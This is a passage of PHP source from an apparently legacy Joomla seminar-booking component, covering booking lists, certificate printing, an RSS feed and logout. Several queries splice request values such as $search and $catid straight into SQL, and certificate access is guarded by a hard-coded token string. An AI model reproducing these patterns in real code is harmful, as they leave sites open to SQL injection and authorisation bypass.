$headertext = JTEXT::_('SEM_1008')." - ".$my->name;
}
$database->setQuery( "SELECT a.*, cat.title AS category, cc.bookingdate AS bookingdate, cc.id AS bookid FROM #__seminar AS a LEFT JOIN #__sembookings AS cc ON cc.semid = a.id LEFT JOIN #__categories AS cat ON cat.id = a.catid"
. (count( $where ) ? "\nWHERE " . implode( ' AND ', $where ) : "")
. "\nAND (a.semnum LIKE'%$search%' OR a.teacher LIKE '%$search%' OR a.title LIKE '%$search%' OR a.shortdesc LIKE '%$search%' OR a.description LIKE '%$search%')"
. "\nORDER BY a.begin"
. $ttlimit
);
$rows = $database->loadObjectList();
$status = array();
for ($i=0, $n=count($rows); $i < $n; $i++) {
$row = &$rows[$i];
$database->setQuery( "SELECT * FROM #__sembookings WHERE semid='$row->id' ORDER BY id" );
$temps = $database->loadObjectList();
$status[$i] = JTEXT::_('SEM_0030');
$rows[$i]->codepic = $row->bookid;
if( count($temps) > $row->maxpupil) {
if ( $row->stopbooking == 0 ) {
for ($l=0, $m=count( $temps ); $l < $m; $l++) {
$temp = &$temps[$l];
if($temp->userid == $my->id) {
break;
}
}
if( $l+1 > $row->maxpupil ) {
$status[$i] = JTEXT::_('SEM_0025');
}
} else {
$status[$i] = JTEXT::_('SEM_0029');
}
}
if( $temps[0]->paid == 1) {
$rows[$i]->fees = $rows[$i]->fees." - ".JTEXT::_('SEM_0065');
}
}
break;
case "653O875032490":
sem_f043(2);
if(in_array('SEM_CATEGORIES',$navioben) AND $catid>0) {
$where[] = "a.catid ='$catid'";
}
$where[] = "a.publisher = '".$my->id."'";
$database->setQuery( "SELECT a.*, cat.title AS category FROM #__seminar AS a LEFT JOIN #__categories AS cat ON cat.id = a.catid"
. (count( $where ) ? "\nWHERE " . implode( ' AND ', $where ) : "")
. "\nAND (a.semnum LIKE'%$search%' OR a.teacher LIKE '%$search%' OR a.title LIKE '%$search%' OR a.shortdesc LIKE '%$search%' OR a.description LIKE '%$search%')"
. "\nORDER BY a.begin"
. $ttlimit
);
$rows = $database->loadObjectList();
$status = array();
$headertext = JTEXT::_('SEM_1031')." - ".$my->name;
for ($i=0, $n=count($rows); $i < $n; $i++) {
$row = &$rows[$i];
$gebucht = sem_f020($row);
$gebucht = $gebucht->booked;
if( (sem_f046() > $row->booked) OR ($row->maxpupil - $gebucht < 1 && $row->stopbooking == 1) ) {
$status[$i] = JTEXT::_('SEM_0088');
} else if($row->maxpupil - $gebucht < 1 && $row->stopbooking == 0) {
$status[$i] = JTEXT::_('SEM_0036');
} else {
$status[$i] = JTEXT::_('SEM_0031');
}
$rows[$i]->codepic = "";
}
break;
}
sem_f056($rows,$status,$headertext);
}
// ++++++++++++++++++++++++++
// +++ Zertifikat drucken +++
// ++++++++++++++++++++++++++
function sem_g019() {
$cid = JRequest::getInt('cid',5);
$OIO = JRequest::getVar('OIO','');
if( $OIO!="764576O987985" ) {
JError::raiseError( 403, JText::_("ALERTNOTAUTH") );
exit;
}
sem_f051($cid);
}
// +++++++++++++++++++++++++++++
// +++ AGB anzeigen +++
// +++++++++++++++++++++++++++++
function sem_g020() {
HTML_FrontSeminar::sem_g020();
}
// +++++++++++++++++++++++++++++
// +++ RSS-Feed erzeugen +++
// +++++++++++++++++++++++++++++
function sem_g023() {
$config = &JComponentHelper::getParams('com_seminar');
if($config->get('sem_p048',0)==0) {
JError::raiseError( 403, JText::_("ALERTNOTAUTH") );
exit;
}
$database = JFactory::getDBO();
$neudatum = sem_f046();
$where = array();
$database->setQuery("SELECT id, access FROM #__categories WHERE section='".JRequest::getCmd('option')."'");
$cats = $database->loadObjectList();
$allowedcat = array();
foreach($cats AS $cat) {
if($cat->access<1) {
$allowedcat[] = $cat->id;
}
}
if(count($allowedcat)>0) {
$allowedcat = implode(',',$allowedcat);
$where[] = "a.catid IN ($allowedcat)";
}
$where[] = "a.published = '1'";
$where[] = "a.end > '$neudatum'";
$where[] = "a.booked > '$neudatum'";
$database->setQuery("SELECT a.*, cat.title AS category FROM #__seminar AS a LEFT JOIN #__categories AS cat ON cat.id = a.catid"
. (count( $where ) ? "\nWHERE " . implode( ' AND ', $where ) : "")
. "\nORDER BY a.publishdate DESC"
);
$rows = $database->loadObjectList();
HTML_FrontSeminar::sem_g023($rows);
}
// +++++++++++++++++++++++++++++++++++++++++++++++
// +++ Benutzer ausloggen +++
// +++++++++++++++++++++++++++++++++++++++++++++++
function sem_g024() {
$mainframe = JFactory::getApplication();
$userid = null;
$mainframe->logout($userid);
sem_g001(0);
}
?>